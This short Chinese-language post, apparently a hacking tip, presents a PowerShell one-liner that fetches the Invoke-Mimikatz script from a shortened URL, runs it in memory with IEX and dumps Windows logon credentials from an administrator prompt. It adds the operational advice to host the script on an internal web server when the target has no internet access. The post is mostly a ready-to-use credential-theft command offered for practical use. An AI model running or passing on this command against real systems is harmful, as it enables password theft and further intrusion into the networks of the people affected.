国外大神clymb3r写的一个powershell脚本将mimikatz注入到内存调用logonPasswords获取密码，使用起来相当轻便。 以管理员权限启动CMD执行下以命令即可 powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds" 实战中如果机器不能上外网可以将脚本下载回来放到内网的web service上。 .